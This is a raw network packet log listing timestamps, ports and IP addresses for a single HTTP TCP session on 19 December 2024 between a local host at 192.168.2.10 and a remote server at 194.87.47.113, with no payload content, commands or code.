Dec 19, 2024 08:21:32.986007929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.986077070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.986763000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.986793041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.986802101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.987503052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.987545013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.987612963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.988337040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.988373995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.988466024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.989108086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.989156008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.989200115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.989942074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.989984035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.989984989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.990653992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.990689039 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.029859066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.029901981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.029949903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.030194998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.030314922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.030359030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.030972958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.031095982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.031145096 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.031761885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.032088041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.032140970 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.032196045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.032880068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.032922983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.032994032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.033677101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.033720016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.033775091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.034460068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.034502983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.034629107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.035252094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.035286903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.035336971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.035984993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.036025047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.036075115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.036775112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.036812067 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.036889076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.037590981 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.037653923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.037678957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.038434029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.038470984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.038511038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.039182901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.039227009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.039303064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.039967060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.040008068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.040074110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.040736914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.040774107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.040802002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.041532993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.041570902 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.041609049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.042340994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.042402029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.042465925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.043081999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.043129921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.043191910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.043891907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.043932915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.044003963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.044758081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.044795036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.044795990 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.045526028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.045566082 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.045605898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.046287060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.046325922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.046365976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.047115088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.047153950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.047183990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.047832012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.047873020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.047920942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.048804998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.048856974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.048928022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.049421072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.049458981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.049510002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.050226927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.050276041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.050326109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.051007032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.051023960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.051203966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.051800013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.051845074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.051887989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.052594900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.052640915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.052773952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.053375006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.053416967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.053507090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.054166079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.054208994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.054279089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.055111885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.055149078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.055196047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.107033968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.120004892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.120069027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.120127916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.120299101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.120439053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.120493889 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.121088028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.121222973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.121263981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.121867895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.121999979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.122055054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.122663975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.122817993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.122864962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.123439074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.123642921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.123687983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.124253035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.124306917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.124356985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.173110962 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.173228025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.173291922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.173460960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.173535109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.173623085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.174251080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.174386978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.174438000 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.175086975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.175189972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.175235987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.175904036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.176048994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.176090002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.176626921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.176805973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.176850080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.177417040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.177536964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.177580118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.178193092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.178318024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.178363085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.179018974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.179136992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.179182053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.179764032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.179888964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.179934978 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.180573940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.180707932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.180752993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.181374073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.181490898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.181545973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.182172060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.182308912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.182348967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.183028936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.221976042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.222078085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.222101927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.222237110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.222285986 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.222326040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.223054886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.223110914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.223196030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.223870993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.223931074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.224121094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.224225998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.224272966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.224905968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.225037098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.225085974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.225667000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.225785017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.225831985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.226450920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.226509094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.226573944 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.227236032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.227416992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.227461100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.228090048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.228236914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.228276968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.228812933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.228954077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.228991985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.229620934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.229722023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.229760885 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.230391979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.230541945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.230581045 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.231189966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.231369019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.231404066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.232203960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.232321024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.232363939 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.232831001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.232906103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.232943058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.233690977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.233844995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.233886957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.234431982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.234543085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.234585047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.235187054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.235281944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.235322952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.236073017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.236145020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.236185074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.236731052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.236907005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.236948967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.237591982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.237772942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.237875938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.238285065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.238399982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.238444090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.239109993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.239212036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.239253998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.239870071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.239901066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.239942074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.240663052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.240792990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.240830898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.241461039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.241497040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.241533995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.242276907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.242295027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.242337942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.243022919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.243086100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.243125916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.243865013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.243938923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.243983030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.244626999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.244740009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.244779110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.245485067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.245588064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.245629072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.246251106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.246324062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.246361017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.246997118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.247097969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.247139931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.312061071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.312176943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.312246084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.312350988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.312477112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.312524080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.313169003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.313256025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.313301086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.313992023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.314068079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.314111948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.314785004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.314960957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.315026999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.315568924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.315773964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.315817118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.316332102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.316493988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.316540003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.365400076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.365590096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.365644932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.365714073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.365739107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.365775108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.366270065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.366554022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.366601944 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.366664886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.367558956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.367614985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.367625952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.368160963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.368212938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.368251085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.368943930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.369008064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.369055033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.369710922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.369757891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.369828939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.370587111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.370630026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.370712996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.371298075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.371351957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.371414900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.372127056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.372168064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.372232914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.372875929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.372922897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.373008966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.373684883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.373738050 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.373801947 CET	80	49720	194.87.47.113	192.168.2.10
